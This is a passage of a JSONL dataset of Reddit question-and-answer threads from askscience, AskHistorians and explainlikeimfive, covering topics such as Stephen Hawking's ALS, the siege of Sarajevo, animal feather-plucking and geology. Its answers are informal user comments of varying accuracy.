most imaginary ones that don't take place as well. The relationship to an utterance and what that utterance represents, its semantics, is never one-to-one. There will always be a vast wealth of information that could be relevant, that if provided would communicate a 100% understanding of the sentence's significance, that is unabashedly *omitted in its entirety*. If some language encodes more information succinctly and clearly than another one, it's usually on the margin of one bajillionth of the information that could be communicated (theoretically by a super-language).\n\nTrying to compare how much is communicated in any given language is simply meaningless given that all languages communicate so comparatively little.\n\n >  Do different language have varying degrees of effectiveness in communicating?\n\nYes, but only in specific contexts and with specific goals. In general, all languages fit the overall goal of being able to communicate anything within a very high chance of being understood.\n\n >  Can very nuanced, subtle communication be lost in translation from one more complex language to a simpler one?\n\nWell, the terms spectrum complex~simple doesn't really apply to languages, but things can be lost in translation from one language to the next - but nonetheless the very core meaning of the utterance is usually intact.", " > Do different languages have varying degrees of 'effectiveness' in communicating?\n\nIf we interpret \"effectiveness in communicating\" to mean \"amount of information transferred per time unit\", then [no](_URL_0_). In short, [the languages that have less informative syllables make up for it by talking faster](_URL_2_) (or in [table from](_URL_1_)).\n\nThanks for [Lurker378](_URL_3_) fopr posting it two years ago.", "\"Effective\" is hard to quantify, but there is research that suggests that the \"information rate\" (bits of data transmitted orally per unit time) is constant across languages. This is non-obvious because some languages use few sounds (like Japanese) but make up for it by simply using more syllables per second. \n\n_URL_0_\n\nFirst answer and it's reply cite all the sources.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.reddit.com/r/AskScience/wiki/quickstart/sources"], [], [], [], ["http://www.ddl.ish-lyon.cnrs.fr/fulltext/pellegrino/Pellegrino_to%20appear_Language.pdf", "http://i.imgur.com/y6fxy.jpg", "http://i.imgur.com/wHjuO.jpg", "http://www.reddit.com/r/askscience/comments/15o7bu/what_spoken_language_carries_the_most_information/c7o91s9"], ["https://www.reddit.com/r/askscience/comments/15o7bu/what_spoken_language_carries_the_most_information/"]]}
{"q_id": "2eiv5b", "title": "how has stephen hawking lived so long with als when other people often only live a few years after their initial diagnoses?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2eiv5b/eli5_how_has_stephen_hawking_lived_so_long_with/", "answers": {"a_id": ["cjzw7vc", "cjzws5p", "cjzxrgc", "cjzy15y", "cjzy6in", "cjzy757", "cjzy8l7", "cjzya87", "cjzyaeu", "cjzyj9k", "cjzyt7s", "cjzytwz", "cjzywpu", "cjzz3kd", "cjzz7ul", "cjzzhnv", "cjzzk4v", "cjzzl4p", "cjzzocv", "cjzzp4u", "cjzzp71", "ck0005x", "ck0043r", "ck00c1q", "ck00d4s"], "score": [3529, 1828, 114, 568, 2, 13, 3, 2, 43, 3, 5, 3, 13, 56, 441, 9, 2, 7, 19, 4, 9, 40, 9, 6, 96], "text": ["It's mostly just luck, he's actually said that his doctors told him he should have been dead years ago.", "I read that he suffers from *chronical juvenile* ALS, which progresses slower than the other form. Plus, a prognosis is difficult, as the progress of the disease seems to depend on several factors which are, so far, rather unknown. It might depend on genetics, where it started (Hands? Legs? Somewhere else?), bodily preconditions and so on.", "ALS has a 4% survival rate beyond 10 years, so yeah, insane amounts of luck that he's inside that 4%. Also to answer other questions I saw below, the disease is degenerative, which means he wasn't born with it (in fact he was only diagnosed at age 21, so in 1963). At the time of diagnosis he was only expected to live a few years at most. His kids were born in 1967, 1970 and 1979. In the late 60s he was still able to move around on his own with the use of crutches. In the late 70s (so around the birth of his third child) he could still even speak (albeit it was very deteriorated). So it's not too much of a stretch to think he could get other things working as well.\n\nEDIT: I also read that his motor neuron disease is a relative of ALS, not sure what that distinction means but might also contribute to the longer lifespan.\n\n2nd EDIT: As /u/amyleeishungry and /u/mareenah point out, it doesn't directly impact sexual function, source: _URL_0_", "A friend of mine has ALS, diagnosed about 6 years ago.  His hasn't progressed to the point where he's in a wheel chair and unable to speak.  It's like it progressed to a specific level, then stopped.  He was told he has \"atypical ALS,\" just like Stephen Hawking.  \n\nI'm told with some victims of ALS, it progresses to a certain point, then stops.  It's quite rare among those afflicted with ALS, and even more rare are in some cases, it completely reverses itself.", "Many doctors suggest that it is not ALS he is suffering from, but another disease    ", "I don't know exactly what the difference is, but I believe Hawking has a disease that is related to ALS, but it's not exactly ALS. I've always seen it called \"motor neurone disease\".", "From what I understand about ALS, the main reasons for death are the deterioration of chest muscles, preventing breathing, or the deterioration of throat muscles, preventing swallowing. Stephen Hawking doesn't have the kind of ALS that causes the deterioration of either of those groups of muscles, which is how he survives.", "It has a lot to do with resources. Hawking has access to probably the most cutting edge medical research and care in the world due to the resources he has at his disposal. This extends his lifespan exponentially. ", "Death in ALS is mostly caused by suffocation or respiratory infection due to the failure of respiratory or swallowing muscles. He is a lucky outlier who does not have weakness in those muscles.\n\nHere's an article in Scientific American examining his case:\n_URL_0_\n\n > Life expectancy turns on two things: the motor neurons running the diaphragm\u2014the breathing muscles. So the common way people die is of respiratory failure. And the other thing is the deterioration of swallowing muscles, and that can lead to malnutrition and dehydration. If you don't have these two things, you could potentially live for a long time\u2014even though you're getting worse. What's happened to him is just astounding. He's certainly an outlier.", "He's still alive because he is on a ventilator and is being fed through a tube. He also has enough money to pay for his care. My friend's wife has ALS. Most do not opt to go on a ventilator, because of the cost and they don't want to live like a brain with no body. Not to mention the more than $100,000 per year it costs in skilled nursing care and durable medical supplies. With out a ventilator the person eventually dies of hypoxia or chokes to death on saliva. With a ventilator they can live a long time in an extremely debilated condition, just like any paralyzed (quadriplegic) individual. He is an exceptional intellect with the financial resources to pay for this, or the national health insurance is paying. Suicide is a constant issue with people that have ALS. It is a horrible condition. My friend tells me that when they see their neurologist the first thing they discuss is suicidal thoughts. Just yesterday this happened in Wisconsin with the murder of 2 and attempted suicide of an ALS patient:\n\n\n(_URL_0_)\n\n\n\n\n\n", "He's got a rare variation, which for some reason has spared his diaphragm. (ALS effects muscles, of which the diaphragm is one and used for breathing. Usually people die when the diaphragm becomes effected and they simply cannot breathe anymore). As terrible as it sounds, he's lucked out.", "There's a great documentary about living with ALS. Jason Becker, a savant guitarist is the subject. Check it out, it will give you an idea of how these ice bucket challenge donations can help someone live a better life. Here's the trailer. 'Jason Becker: Not Dead Yet' [Film Trailer]: _URL_0_", "He actually has a motor neurone disease related to ALS, not the full blown version. Jason Becker on the other hand...", "I read all of the top comments. How has no one done their research? It seems like people are just guessing, and assuming. I read his entire wikipedia page a few days ago for the hell of it. He does NOT have ALS. He has a Motor Neuron Disease, similar to ALS. ALS is a type of MND, it is a cousin of many other disorders.\n\nSaying Hawkings has ALS instead of a motor neuron disease is like saying someone owns a Ferrari because they own a car, or that he's a chimpanzee because he's a great ape.\n\nSo the reason why he has survived so long is because he doesn't have ALS, he has another kind of motor neuron disease that is not as deadly as ALS.\n\nEDIT: Here, check out classifications of Motor Neuron Diseases. You'll see that ALS is only one of a group of diseases:\n_URL_0_", "In medical school I worked for a month in an ALS clinic. This topic came up once or twice. The attending (a pretty big deal in the ALS world) said that while ALS that progresses and stops is not totally unheard of, it was quite unusual. He actually thought that Hawking was mis-diagnosed and what he actually had was Spinal Muscular Atrophy Type IV (adult onset SMA). It's been years since that experinece, but if I remember correctly, the difference between the two at presentation would be if there were signs of hypertonia or hypotonia, that is if the knee-jerk went up too much or didn't go up enough. SMA IV can progress for a while and then stop, leading to a clinical picture identical to Dr Hawking's.\n\nIn some ALS, with variable presentation, the hypertonia (knees up too much) is pretty mild, so the distinction can be difficult, especially without nerve or muscle tissue and special stains. I think the SMA IV entity was only first recognized as different from ALS relatively recently, so he may actually predate that, too.", "Guitar player [Jason Becker](_URL_0_) (ex-David Lee Roth Band) was diagnosed in 1989 and is still alive as well. His ex-bandmate Marty Friedman just released an album with a song they wrote together recently. ", "He's got a lot of good karma for being such a wonderful person", "Here is a good [interview](_URL_0_) on the subject with a neurologist specializing in ALS. \n\nThe bottom line is that although a lot is unknown about this disease, it is clear that it is highly variable, with different forms being described.  He appears to have an early-onset, slow progressing form that is relatively rare, but not unheard of.", "He doesn't have ALS.  He has a motor neurone disease that is related to ALS.  With that said, about 5% of ALS patients do live with the disease and an even smaller percent, actually improve.  \n\nHope that helps a little.  ", "Does he actually have ALS or some other related disease?  On his Wikipedia page:\n\n > Hawking has a motor neurone disease related to amyotrophic lateral sclerosis (ALS), a condition that has progressed over the years.\n\n_URL_0_", "because it's not straight up ALS, it's a similar motor neuron issue.\n\nedit: _URL_0_", "As a biochemistry student I did a presentation on ALS.\n\nThere are multiple kinds of ALS. The two kinds we know most about are the familial ALS (officially abbreviated fALS), which is inheritable, and the juvenile ALS (let's call it jALS), where no clear inheritable pattern has been discovered (yet). \nfALS mostly shows up around peoples mid-30's and this is the kind where (so far) nobody managed to pass 5 years after the initial diagnoses.\nThe juvenile ALS is the one that started to develope in mister Hawking's early 20's. The juvenile kind has generally been accepted as a slower kind, which means that it takes more time for the disease to reach vital organs (mr. Hawking managed so far for 40-years).\n\nI'd like to take this opportunity to explain what is (after much research) **very likely** happening on a genetic level with those who deal with fALS. \nThe first thing to understand is that we make proteins based on our genetic code. There are soo many different kinds of proteins and each and everyone has a specific function. You could consider the genetic code as a finger print for the protein. In the case of familial ALS, there is a protein called Superoxide Dismutase (SOD1) which functions as a converter of highly-damaging oxygen radicals (O2-). By converting O2- to another molecule, the radical is neutralized and loses its damaging effect. Research discovered that the DNA-region that represents SOD1 has a specific mutation in many cases of fALS. This mutation might cause the structure of the protein to change in such a way that it is less able to convert radicals (imagine a pen without its spring, it still works but is less workable). This scenario means that the O2- concentration is increasing and thus the damaging consequence...\n\nSource [1]: [ALS](_URL_0_)\nSource [2]: [SOD1](_URL_1_)\n\nI'm glad to see that more people are paying attention to this horrible disease.", "In his documentary that he made he says that he has lived much of his life with the constant shroud of death looming over him. He is incredibly lucky to still be alive.", "A friend's grandmother was diagnosed sometime in the late 70s/early 80s and lived until 2007. She was 81 when she died, and considering her family's lack of financial resources and the limited options available at the time of her diagnosis, I think that's damned impressive. \n\nThat said, I remember that there were falls and communication issues waaaay back in the 80s, so I have no idea about the burden of care or quality of life she had since I moved away many years ago. \n\nAnecdotally, it seems to be luck and being of 'hardy stock', but scientifically, I'm not sure even scientists know. At least not that I've read.", "1. He may not have typical ALS.  His rate of progression has been remarkably slow.\n\n2. He lives in Cambridge.  Addenbrookes hospital in Cambridge is not only home to world class intensive care (where he always goes) but is at the forefront of ALS treatment... and respiratory disease treatment*.\n\n3. He receives round the clock care from a team of carers.  \n\nThink about what normally kills people with ALS - failure of the muscles in the larynx to stop food material passing down into the lungs instead of the stomach and consequent pneumonia.  2 and 3 allow preventative measures and prompt, effective treatment of the above.\n\n*A certain professor will readily boast about saving Prof's life ;-)  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://www.als.ca/sites/default/files/files/Sexuality,%2520Intimacy%2520And%2520Chronic%2520Illness.pdf"], [], [], [], [], [], ["http://www.scientificamerican.com/article/stephen-hawking-als/"], ["http://www.jsonline.com/news/wisconsin/slain-wife-of-ex-dane-county-deputy-battling-als-was-love-of-his-life-b99337140z1-272484001.html"], [], ["http://youtu.be/wGFDWTC8B8g"], [], ["http://en.wikipedia.org/wiki/Motor_neuron_disease"], [], ["https://en.wikipedia.org/wiki/Jason_Becker"], [], ["http://www.scientificamerican.com/article/stephen-hawking-als/"], [], ["http://en.wikipedia.org/wiki/Stephen_Hawking"], ["http://en.m.wikipedia.org/wiki/Motor_neuron_disease"], ["http://omim.org/entry/105400?search=amyotrophic%20lateral%20sclerosis&amp;highlight=lateral%20amyotrophic%20sclerosi", "http://www.uniprot.org/uniprot/K9K2G1"], [], [], []]}
{"q_id": "xq9l6", "title": "What man-made objects are currently on Mars? Is there anything similar to Curiosity Rover on the planet already?", "selftext": "I believe the  Mars Rover program is ongoing, so what makes 'Curiosity' different than the others? What are the other ones doing?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/xq9l6/what_manmade_objects_are_currently_on_mars_is/", "answers": {"a_id": ["c5on42w"], "score": [8], "text": ["There are three active spaceraft orbiting Mars (Mars Odyssey, Mars Reconnaissance Orbiter, and Mars Express), and one rover (Opportunity) also still working.\n\nCuriosity is not only much bigger and faster, but it has much more sophisticated scientific capabilities for analyzing the Martian environment.  In addition, it is going to be landing at Gale Crater, a site that should give us a window into the geological history of Mars (see [this](_URL_0_) for a brief discussion)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.ajc.com/news/nation-world/new-mars-rover-to-1491412.html"]]}
{"q_id": "1g30fg", "title": "Have any Roman Aquila survived into the modern period?", "selftext": "I recently read a recent question here about Roman Aquilifers, and saw that the image on wikipedia is a reproduction. Have any of these well-regarded symbols of Roman power survived to the modern day? If not, do we know what happened to them?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1g30fg/have_any_roman_aquila_survived_into_the_modern/", "answers": {"a_id": ["cagaocj"], "score": [3], "text": ["All of the images that you saw on the wiki page were reconstructions of what we believed them to look like. Several reconstructions may have been based off of this artwork done at the time, such as this golden eagle ornament dating between 100-200 AD.\n\n_URL_1_\n\n\nThis next image is the front and back of a coin minted by Marc Antony to pay his legions. The back is the aquila of his third legion.\n\n_URL_0_\n\nThrough basic research I've done on the aquila, I don't know of any actual pieces that were used during battle. There is a list on the wiki that shows all the battles that an aquila was lost in that was returned or never found."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/File:Denarius_Mark_Anthony-32BC-legIII.jpg", "http://en.wikipedia.org/wiki/File:Ornament_with_Eagle,_100-200_AD,_Roman,_gold_-_Cleveland_Museum_of_Art_-_DSC08277.JPG"]]}
{"q_id": "2wgyf0", "title": "Would crowds of medieval spectators really enjoy spectating someone being drawn and quartered?", "selftext": "Imagining this just makes me sick. I don't care how much I hate the person I would not want to see this.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2wgyf0/would_crowds_of_medieval_spectators_really_enjoy/", "answers": {"a_id": ["coqxoj1"], "score": [3], "text": ["hi! there's lots of room for more information here, but you may be interested in these earlier related posts, which focus particularly on your question about public attitudes\n\n* [Why did we used to be so fine with such brutal and public executions?](_URL_1_)\n\n* [During medieval times public torture and execution was commonplace, how did this effect the general population, did they become desensitized to gruesome death?](_URL_3_)\n\n* [What is this wheel on a pole with corpse that I see occasionally in medieval/renaissance art?](_URL_0_)\n\n* [How were executioners viewed by society in late medieval and early modern Europe?](_URL_2_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/28tv6l/what_is_this_wheel_on_a_pole_with_corpse_that_i/", "https://www.reddit.com/r/AskHistorians/comments/1xon7j/why_did_we_used_to_be_so_fine_with_such_brutal/", "https://www.reddit.com/r/AskHistorians/comments/2quk3r/how_were_executioners_viewed_by_society_in_late/", "https://www.reddit.com/r/AskHistorians/comments/2ea0xf/during_medieval_times_public_torture_and/"]]}
{"q_id": "cfvc7p", "title": "why do stressed animals harm themselves by pulling out patches of their fur, or in the case of birds, feathers?", "selftext": "And in more extreme situations chewing on their own skin and body parts until they bleed? :(", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/cfvc7p/eli5_why_do_stressed_animals_harm_themselves_by/", "answers": {"a_id": ["eud95mx", "eudfhbn", "eudiyx0", "eudjs4d", "eudk835"], "score": [1132, 63, 8, 4, 3], "text": ["When animals pull hair or birds pull feathers it is painful and the brain releases endorphins to sooth this pain. Then animals/birds/humans repeat this negative behavior to get those feel good chemicals.  It becomes self soothing", "Biologist here, it\u2019s basically a case of too much grooming/preening, i.e. it\u2019s an attempt at self-care that\u2019s taken too far. Once there starts to be skin damage it can get itchy, which makes the problem even worse, and it can take on some addiction features of  compulsively repeated behavior. But in the initial stages the animal is just trying to soothe itself and take care of itself by grooming or preening. Boredom can also play a role in setting it off; if animal is alone in a small cage with nothing interesting around, it can end up grooming/preening too long just because there is literally nothing else to do.", " \n\n## Physical distress:\n\n* From improper or severe wing-clipping: Wings that are cut too close to the feather shaft can cause discomfort when the cut tips rub against the bird\u2019s body, causing the bird to chew and pull until she removes the stub\n* From being removed from their parents and subjected to the rigors of transport at too young an age\n* From being passed around from home to home\n* From the stress of hand-feeding when done by inexperienced people\n* From not enough hours of rest, not being able to bathe, or not being misted\n\n## Fear:\n\n* Feeling threatened by a family pet, by a teasing child, or by a person who reminds the parrot of another person who was unkind (for example, some parrots have an aversion toward males or females, some are afraid of children)\n* Being afraid of an object or an animal (e.g., a grandfather clock with a loud gong, loud or violent programming on TV, a cat who jumps up toward the parrot\u2019s cage)\n\n**Physical environment:**\n\n* Objects located directly overhead or higher than the bird\n* A nearby cage where there is a larger or more aggressive bird\n* Placement of another bird\u2019s cage so that the other bird is higher\n* A cage placed too low, near the floor\n* An environment where there is too much or too little humidity, too little natural light, incorrect lighting, or lighting that is too bright at night (try a very dim night light)\n* Traffic noise or too much activity taking place nearby\n\n## Loss and grief:\n\n* Loss of a mate or a friend, whether the friend is a bird, a human, a dog, etc.\n* Loss of something that\u2019s been familiar over a long time: her cage, a favorite toy (usually this is a factor along with other causes), a view out the window\n\n## Any other kind of significant change:\n\n* Relocation of the bird\u2019s cage, being relegated to a back room, or being placed in a room with too much noise or activity\n* Changes in the family situation: moving, divorce, grown children going away or moving back home\n* Changes in the bird\u2019s environment, such as erratic room temperature changes  \n\n\nAfter I lost my spouse my Tui-bird had to stay at a friends, said friend was more apathetic then I thought so out of boredom and despair he plucked. thankfully he is with mum now and back to being the sweary, feathery disney bird I brought home 14 years ago.", "Having practiced self harm, it creates a feeling of cathartis.\nThe 'pain relief' feeling your brain releases to the physical pain also helps with stress and emotional pain.\nIt also creates a feeling of control in an otherwise helpless situation.\n\n\nHumans are animals so i imagine there's alot of cross over", "This isn't isolated to animals. It's common with humans in distress too. \n\n_URL_0_\n\nTrichotilomania for example. Pulling out hair as part of an anxiety condition. \n\nIn humans, at least, pulling out hair relieves some of the anxiety. Possibly via the pain caused. It's closely related to OCD. In this case, obsessively pulling hair out to quell an anxious feeling in the body.\n\nOne can imagine an animal having similar feelings."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["https://en.wikipedia.org/wiki/Trichotillomania"]]}
{"q_id": "qqquv", "title": "how the fudge do they make the components that go into complicated watches?  micromill?  wire edm?  casting?  it all seems too small to make!", "selftext": "I consider myself pretty well versed in manufacturing methods but watches like this:\n\n_URL_0_\n\nHOW DO THEY MAKE THOSE PIECES!?  ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/qqquv/eli5_how_the_fudge_do_they_make_the_components/", "answers": {"a_id": ["c3zqw75"], "score": [4], "text": ["Although small to us, it's still not too small that you can't metal craft the pieces like normal. Small metal objects will be created with similar techniques as Jewelery Metalsmithing, they craft the components by hand or machine, then create molds to reproduce them.\n\n\nMechanical watches tend to be assembled by hand, as it's extremely difficult to create a machine, or series of machines to manufacture them, especially if the watch is custom, or a limited series.\n\n\nTypical metal casting techniques are, [Lost wax casting](_URL_0_), and [Die casting](_URL_1_). But a lot of tiny gears  and components are still made my hand or mill."]}, "title_urls": [], "selftext_urls": ["http://youtu.be/dQBVzLOXlCo?t=33s"], "answers_urls": [["http://en.wikipedia.org/wiki/Lost-wax_casting#Casting_jewellery_and_small_parts", "http://en.wikipedia.org/wiki/Die_casting"]]}
{"q_id": "4newyn", "title": "What was life like for the average citizen of Sarajevo during the siege between 1992 and 1996? How much could you continue to live a normal life?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4newyn/what_was_life_like_for_the_average_citizen_of/", "answers": {"a_id": ["d43zqkg", "d44pky1"], "score": [6, 67], "text": ["Followup question: what would morale have been like for them?", "Great question! I *pray* this answer is up-to-standards. I am **not** a survivor or witness to the events in Sarajevo during the siege, however, I did study the Bosnian War in university and have since studied the siege specifically due to my personal interest in the topic.\n\nSo what was life like for the average citizen of Sarajevo during the siege? \n\nIn order to understand this experience, first it is important to examine the overarching conflict that led to the nearly four-year-long siege of Sarajevo. I'll try not to dwell too much on the causes or intricacies of the Balkan Wars as that can fill an entire post in itself, but try to focus specifically on the experience of Bosnia-Herzegovina and Sarajevo.\n\nFollowing the end of Josip Broz Tito's presidency (1945-1980) upon his death, the former Yugoslavian State (comprised of the \"six republics\" of Croatia, Slovenia, Serbia, Montenegro, Macedonia, and Bosnia-Herzegovina) began to fracture and by the early 1990's fell into armed conflict. Again, I won't go into the specifics of Yugoslavian history/politics but this is a [great paper](_URL_2_) on the factors for the country's dissolution.\n\nThe two largest ethnic groups within the area are the Serbians and Croatians, of which both live in large numbers within the borders of Bosnia-Herzegovina and thus became the focal point of conflict in order to avoid becoming the minority group within the former Yugoslavian state. What emerged was the Republika Srpska/Serb Republic (comprised mainly of ethnic Serbs) and the newly independent Bosnia-Herzegovina. This point centered directly on Sarajevo, the capital and largest city of Bosnia-Herzegovina (comprised of a mix of Bosnians/Croats/Serbians/Muslims).\n\nBy April 5th, 1992, divisions of the JNA (remains of Yugoslavia's military) comprised of ethnic Serbs living in Bosnia, renounced their allegiances to Bosnia-Herzegovina and merged with the newly created Serbian Republic Army (VRS), surrounding the capital of Sarajevo, and trapping the numerous but under-equipped Army of Bosnia-Herzegovina (ARBiH)  with approximately, \"two-hundred-sixty tanks, one-hundred-twenty mortars, and innumerable anti-aircraft cannons, sniper rifles, and other small arms.\" (5)\n\nSo what was life like for the average citizen? That depends largely on **when** and **where**.\nThe following is meant to be a projection of what you as a citizen of Sarajevo may have thought and felt regarding the siege around you. Since the nature of the question seems to ask directly about the life of the \"average citizen\" I'll try and keep it generic, yet accurate as possible. All events and references are sourced at the bottom.\n\nLet's pretend it's two years into the siege, April 5th, 1994. You remember how two years ago the country seemed to split along its seams after Bosnia-Herzegovina declared its independence and Serbian armed forces began setting up barricades and roadblocks on all the routes in and out of the city. \n\n[It seems laughably naive now, however at the time, the notion of a siege was almost unthinkable amidst the calls for solidarity and the arrival of the Blue Helmeted UNPROFOR Peacekeepers. You laugh thinking about the community *barricade-BBQ* and the large banner that read \"Neighbors before Brothers\" over the city parliament. There had been a moment of hope in those early days, when talks were in order and the European Community passed a referendum supporting Bosnia-Herzegovina's sovereignty while attempting to establish conciliatory talks between the now warring factions. Some residents left, taking advantage of the few buses or flights available before the complete blockade, but many of Sarajevo's 500,000 citizens remained; rooted in the safety of their homes and the booming echo of gunshots from the mountains surrounding the city.](_URL_1_)\n\nAfter the VRS took control of the airport, and reestablished the barricades, all of the fuel ran out. Then the electricity, then the heat, and then the water. Soon food and medicine became a memory, except for what you could get from aid-packages or steal. You remember when the President spoke on RT-Sarajevo, asking all able-bodied men to fight in defense of their country. Whispers and rumors flew throughout the homes and offices of all those trapped within the valley when the reality of the war became true to you all. A peace rally led by citizens across the *Vrbanja* bridge ended with snipers killing the two students [Suada Dilberovi\u0107 and Olga Su\u010di\u0107 for in whose memories](_URL_3_), the bridge was renamed. Was it the same day or the day after when the [Bosnian/Serbian couple, Admira Ismi\u0107 and Bo\u0161ko Brki\u0107 (NSFW)](_URL_4_) were also killed by snipers crossing the *Vrbanja* bridge? \n\nWhenever it was, that was the day you learned to tread with care through \"[Sniper's Alley](_URL_0_),\" and to take heed of the wisdom that \"if you can see the peaks of the surrounding hills, they too can see you.\" (5)\n\nThe shelling and gunfights all across the city was never anything you truly became accustomed to, but due to the staunch resistance of the ARBiH, the VRS responded with [200](_URL_6_) shells landing across the city *daily*. And that was a quiet day. Most of those injured or killed are due to the shelling. By this time in 1994, some [2,160](_URL_5_) people have been killed by artillery alone, and since Suada and Olga and Admira and Bo\u0161ko, [699](_URL_5_) people have been shot by hidden snipers, concealed in ruined apartments or among the trees upon the ever looming mountains. You didn't know them at all, but by now there isn't a person in Sarajevo who hasn't heard of them, and the countless others.\n\n**CONTINUED BELOW**"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.bbc.co.uk/news/special/2012/newsspec_3415/img/sarajevo_map_final_904x534.gif", "http://famacollection.org/eng/fama-collection/the-siege-interactive-chronology/index.html", "http://stathis.research.yale.edu/documents/Bosnia_000.pdf", "http://lookingforstu.com/wp-content/uploads/2013/11/The-plaque-on-the-bridge.jpg", "http://m13.mask9.com/sites/default/files/styles/l/public/imagepad/20140423/20140423141143-47fd9fa1068c468c10b82530760a938c599b356f.35/movie-romeo-and-juliet-in-sarajevo-by-john-zaritsky-s2-mask9.jpg", "http://www.icty.org/x/file/About/OTP/War_Demographics/en/galic_sarajevo_020510.pdf", "http://www.his.com/~twarrick/commxyu4.htm"]]}
{"q_id": "7arr7n", "title": "Is there a reason why some places (like the Great Plains) are so flat?", "selftext": "Some places have mountains, some places have rolling hills, but some places are just so boring that it's interesting.\n\nWhat is the geological reason for why large flat plains exist?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/7arr7n/is_there_a_reason_why_some_places_like_the_great/", "answers": {"a_id": ["dpcbmau", "dpcffk4", "dpcktoy"], "score": [6, 13, 2], "text": ["This is a very simplified version, but to my memory it's accurate.  The interior of the US used to be a very shallow sea.  Shallow water sloshes more than deep water, and the physical action of the water made the underlying rock more or less flat, the same way a river tends to smooth out jagged rocks over long timescales.  The mid-continent later experienced tectonic uplift, and the flat basin at the bottom is now where the Great Plains are.\n\nThis is consistent with not only the flat portions we observe, but also the observation of lithified shallow marine sediments that are really far away from any present ocean margin.  \n\nNot particular to the Great Plains (in fact, it does not apply to them), glacial scouring can also make an area very flat.  \n", "In addition to the above comments, I would like to point out that hydrostatic equilibrium and erosion favor a flat round ball. A better question might be 'why are there mountains' for which the answer is plate tectonics. If not for plate tectonics, wind and tidal erosion would have created I nice smooth planet by now.", "From the super basic perspective, the topography of an area is the integrated product of rock uplift (primarily driven by tectonic forces) and erosion (biggest forces here being rivers and where applicable glaciers). Flat places, generally lower elevation areas tend to be spots that are not experiencing active tectonics (or haven't experienced active tectonics in a while) or areas that generally are experiencing 'subsidence' and thus are a locus for sediment deposition (i.e. a basin). That is to say, there is not a singular reason why all places that are flat are flat. In the case of the Great Plains, most of the story is that it's lacked any significant tectonic activity for a very long time and in the past was either below sea level or generally serving as an area of sediment deposition from nearby elevated areas.\n\nAs an aside, if you're interested in an accessible (if not a bit of a long read) exploration of the geologic history of the United States and an explanation for why various parts of the country look the way they do (or have the resources they do), I highly recommend [Annals of the Former World](_URL_0_)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://www.goodreads.com/book/show/78.Annals_of_the_Former_World"]]}
{"q_id": "2pxzax", "title": "Advice on transcribing historical handwritten documents/letters?", "selftext": "I will be transcribing archival documents/letters from the Victorian America era. While I'm quite familiar with Victorianism in general, I've never had the opportunity to do hands-on archival work before. \n\nDo you historians have any tips on transcribing? Any and all advice is appreciated!", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2pxzax/advice_on_transcribing_historical_handwritten/", "answers": {"a_id": ["cn179sa"], "score": [3], "text": ["[This website](_URL_0_) has some useful guides and tutorials. The best habit to get into is composing an alphabet when you come across a new script and using the wider context to decipher the more obscure letters.\n\nTranscribe by hand, double space for inevitable mistakes, and keep at it! Remember it could be much worse, you could be [transcribing medieval Latin](_URL_1_)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.nationalarchives.gov.uk/palaeography/", "http://www.google.co.uk/search?q=medieval+gothic+script&amp;ie=UTF-8&amp;oe=UTF-8&amp;hl=en&amp;client=safari#facrc=_&amp;imgrc=ipKhIUP73fe0vM%253A%3Bundefined%3Bhttp%253A%252F%252Fmedieval.stormthecastle.com%252Fimages%252Fmedieval-writing%252Fgothic-script.jpg%3Bhttp%253A%252F%252Fmedieval.stormthecastle.com%252Fessays%252Fmedieval-writing-page-2.htm%3B489%3B175"]]}
{"q_id": "14kr1k", "title": "I'm looking for a book(s) about science and/or philosophy from Galileo 'til the end of the Enlightenment. Any suggestions?", "selftext": "I found one already (A Social History of Truth: Civility and Science in Seventeenth-Century England), but I'm looking for more. ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/14kr1k/im_looking_for_a_books_about_science_andor/", "answers": {"a_id": ["c7dzsjx", "c7e60a7"], "score": [2, 2], "text": ["You're looking for books on the Scientific Revolution.\n\nHere's a couple from one of my reading lists from last year (I only covered it very briefly so only read extracts):\n\n[The Scientific Revolution and the Origins of Modern Science](_URL_0_)\n\n[Galileo and the Scientific Revolution](_URL_1_)\n\nI hope it provides a decent start.", "Well from Copernicus to Newton:  _URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.amazon.co.uk/Scientific-Revolution-Origins-Science-European/dp/0333960904/ref=sr_1_1?ie=UTF8&amp;qid=1355105326&amp;sr=8-1", "http://www.amazon.co.uk/Galileo-Scientific-Revolution-Laura-Fermi/dp/0486432262/ref=sr_1_1?ie=UTF8&amp;qid=1355105335&amp;sr=8-1"], ["http://en.wikipedia.org/wiki/The_Sleepwalkers"]]}
{"q_id": "3nhiym", "title": "Water boils at different temperatures depending on pressure. Do liquids solidify or solids melt at different pressures as well?", "selftext": "[deleted]", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/3nhiym/water_boils_at_different_temperatures_depending/", "answers": {"a_id": ["cvp8ojs"], "score": [2], "text": ["Yes. [Let's take a look at the phase diagram of carbon dioxide.](_URL_0_) You can see that the line forming the border between the solid and liquid regions has a positive slope - as pressure increases, so does temperature. That is, the melting temperature of carbon dioxide increases with increasing pressure."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.chem1.com/acad/webtext/states/phase-images/pd_CO2.jpg"]]}
